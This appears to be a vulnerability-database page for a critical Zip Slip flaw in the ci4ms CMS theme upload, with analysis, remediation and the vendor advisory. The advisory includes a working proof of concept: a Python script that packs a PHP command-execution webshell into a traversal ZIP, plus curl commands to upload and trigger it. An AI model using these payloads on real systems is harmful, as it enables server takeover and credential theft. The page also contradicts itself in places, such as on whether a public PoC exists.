Skip to main content

ci4ms CVE-2026-41203

| EUVDEUVD-2026-28257 CRITICAL
Path Traversal (CWE-22)
2026-04-22 https://github.com/ci4-cms-erp/ci4ms GHSA-xv3r-vr59-95rg
9.4
CVSS 4.0 · Vendor: https://github.com/ci4-cms-erp/ci4ms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain valid credentials with theme create role
  2. Delivery
    Craft malicious ZIP with path traversal entries
  3. Exploit
    Authenticate to ci4ms backend
  4. Install
    POST archive to /backend/themes/themesUpload
  5. C2
    ZipArchive extracts PHP shell to public web root
  6. Execute
    Request shell.php endpoint
  7. Impact
    Execute arbitrary system commands as www-data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires valid authentication to the ci4ms backend with a user account holding the theme create role permission, typically assigned to administrators or content managers responsible for site appearance. The Theme::upload controller enforces role=create authorization check via modules/Theme/Config/Routes.php, preventing exploitation by unauthenticated users or low-privilege accounts without theme management rights. Default ci4ms installations grant theme creation to admin roles, making the barrier realistic in multi-user CMS environments. No additional configuration changes, non-default settings, or specific deployment modes are required beyond standard ci4ms installation. The vulnerability is network-accessible (AV:N) with low attack complexity (AC:L), exploitable through direct POST requests or cross-site request forgery if CSRF protections are bypassed (though the advisory notes the upload route is not in csrfExcept, CSRF is still feasible against authenticated admin browsers). No user interaction beyond the attacker's own authenticated session is necessary (UI:N). Exploitation is NOT limited by specific PHP versions, web server configurations, or operating system platforms-any ci4ms instance prior to 0.31.5.0 with at least one theme-creator account is vulnerable.

Impact

CVSS 4.0 score of 9.4 (AV:N/AC:L/PR:L/UI:N) indicates critical severity with network-accessible exploitation requiring only low-privilege authentication and no user interaction. The vulnerability delivers the full CIA triad impact (VC:H/VI:H/VA:H) plus scope change to surrounding systems (SC:H/SI:H/SA:H), reflecting potential database credential theft from .env files and lateral movement. Real-world risk is elevated by the public proof-of-concept providing complete exploitation instructions including Python script to craft malicious archives and curl commands demonstrating end-to-end attack chain. Although exploitation requires valid credentials with theme creation permission (typically admin or content manager roles), this is a common permission in CMS installations where multiple staff manage site appearance. No EPSS score or CISA KEV listing available at time of analysis, suggesting exploitation has not yet reached widespread automated or mass-targeting campaigns. However, the combination of public PoC, RCE impact, and authentication barrier that is routine in target environments makes this a genuine priority for organizations running ci4ms. The CVSS score accurately reflects technical severity; risk is moderated only by the authentication prerequisite and apparent lack of mass exploitation to date.

Exploit ScenarioDerived

An attacker with valid ci4ms backend credentials and theme creation permission crafts a malicious ZIP archive using the provided Python script, embedding path-traversal sequences (../../public/shell.php) that reference a PHP webshell payload. The attacker authenticates to the target ci4ms installation, navigates to the Theme manager, and uploads the crafted evil_theme.zip file through the backend/themes/themesUpload endpoint. The vulnerable ZipArchive::extractTo() call writes shell.php outside the intended writable/tmp/ directory into the public web root. The attacker then accesses https://target.example.com/shell.php?c=id via HTTP GET, executing arbitrary system commands as the web server user (www-data), gaining full control over the server, exfiltrating database credentials from .env, and potentially pivoting to backend infrastructure or user data repositories.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 07, 2026

Remote code execution in ci4ms content management system allows authenticated backend users with theme creation permissions to write arbitrary PHP files via Zip Slip path traversal. A working proof-of-concept demonstrates uploading a malicious theme archive containing path-traversal entries (../../public/shell.php) that bypass extraction directory boundaries, placing executable code under the web root. Vendor-released patch available in version 0.31.5.0. No CISA KEV listing or EPSS data available, but publicly disclosed PoC significantly lowers exploitation barrier for attackers with valid credentials.

Earlier versions of this analysis (1)
v1 Apr 23, 2026 - 06:44

Arbitrary file write and remote code execution in ci4ms Theme upload functionality allows authenticated backend users with theme creation permissions to extract malicious ZIP archives containing path-traversal sequences, drop PHP webshells into the public web root, and execute system commands. The vulnerability stems from direct ZipArchive extraction without entry-name validation (classic Zip Slip). Vendor-released patch version 0.31.5.0 addresses the flaw. Exploitation requires authenticated access with specific RBAC permissions, limiting exposure to insider threats or compromised admin accounts.

RemediationAI

Upgrade immediately to ci4ms version 0.31.5.0 or later, which includes validated path-traversal protections for ZIP extraction in both Theme::upload and the companion Backup::restore functionality (tracked separately as GHSA-xp9f-pvpc-57p4). The patch release is available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0 and via Composer package update. The vendor advisory at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg provides full disclosure and remediation guidance. If immediate patching is not feasible, restrict theme creation permissions to only absolutely trusted administrators and audit existing theme uploads for suspicious .zip archives. Monitor the writable/tmp/ directory and public web root for unexpected PHP files. Disable the theme upload functionality entirely by removing or commenting the route binding in modules/Theme/Config/Routes.php (POST backend/themes/themesUpload), though this breaks legitimate theme management workflows. Implement web application firewall rules to block POST requests to /backend/themes/themesUpload from untrusted networks, recognizing this only reduces attack surface and does not eliminate the vulnerability for authenticated insiders. None of these workarounds provide complete protection; upgrading to 0.31.5.0 is the only definitive fix.

Affected VersionsENISA

ci4ms < 0.31.5.0

Affected Packages

composer ci4-cms-erp/ci4ms fix: 0.31.5.0
euvd ci4ms fix: 0.31.5.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability exploits a classic Zip Slip pattern (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) in PHP's ZipArchive class. The ci4ms Theme::upload controller method in modules/Theme/Controllers/Theme.php directly calls ZipArchive::extractTo() without validating archive entry names. When extracting a ZIP file, the method fails to check if entry paths like ../../public/shell.php resolve outside the intended writable/tmp/ destination. The CodeIgniter 4-based CMS framework accepts uploads at the POST backend/themes/themesUpload endpoint, restricted to authenticated users holding the theme create role. The vendor correctly implemented path validation using realpath and regex checks in modules/Methods/Controllers/Methods.php for a different upload handler, but omitted the same safeguard in the Theme module. The affected package is identified as pkg:composer/ci4-cms-erp_ci4ms, a PHP-based enterprise content management system built on CodeIgniter 4.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ci4-cms-erp/ci4ms) PRIMARY 9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.

CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Analysis Updated
May 07, 2026 - 04:43 vuln.today
v2 - CVSS changed
CVSS changed
May 07, 2026 - 04:35 NVD
9.4 (CRITICAL)
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 22, 2026 - 17:29 nvd
CRITICAL

DescriptionCVE.org

Summary

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

php
public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"

Upload through the Theme manager with an authenticated session that has theme create:

bash
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

Trigger the shell:

bash
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

Executive ViewAI

Why It Matters

CVE-2026-41203 is a critical remote code execution vulnerability in ci4ms CMS that allows authenticated backend users with theme creation permissions to upload malicious theme files and execute arbitrary PHP code on the web server. Organizations running ci4ms are at immediate risk of complete system compromise if backend accounts are compromised or if insider threats exist; this vulnerability requires urgent patching to eliminate a high-impact attack path that bypasses traditional perimeter controls.

Business Impact: Severe
Compensating Controls

Apply vendor patch to version 0.31.5.0. If patching cannot be completed within 24 hours, immediately revoke theme creation permissions for all non-essential backend accounts and enforce multi-factor authentication for all remaining privileged backend users; monitor web server execution logs for suspicious PHP file creation in public directories.

Threat Intelligence Overview

EPSS Score
0.4%
Top 38% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +47
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy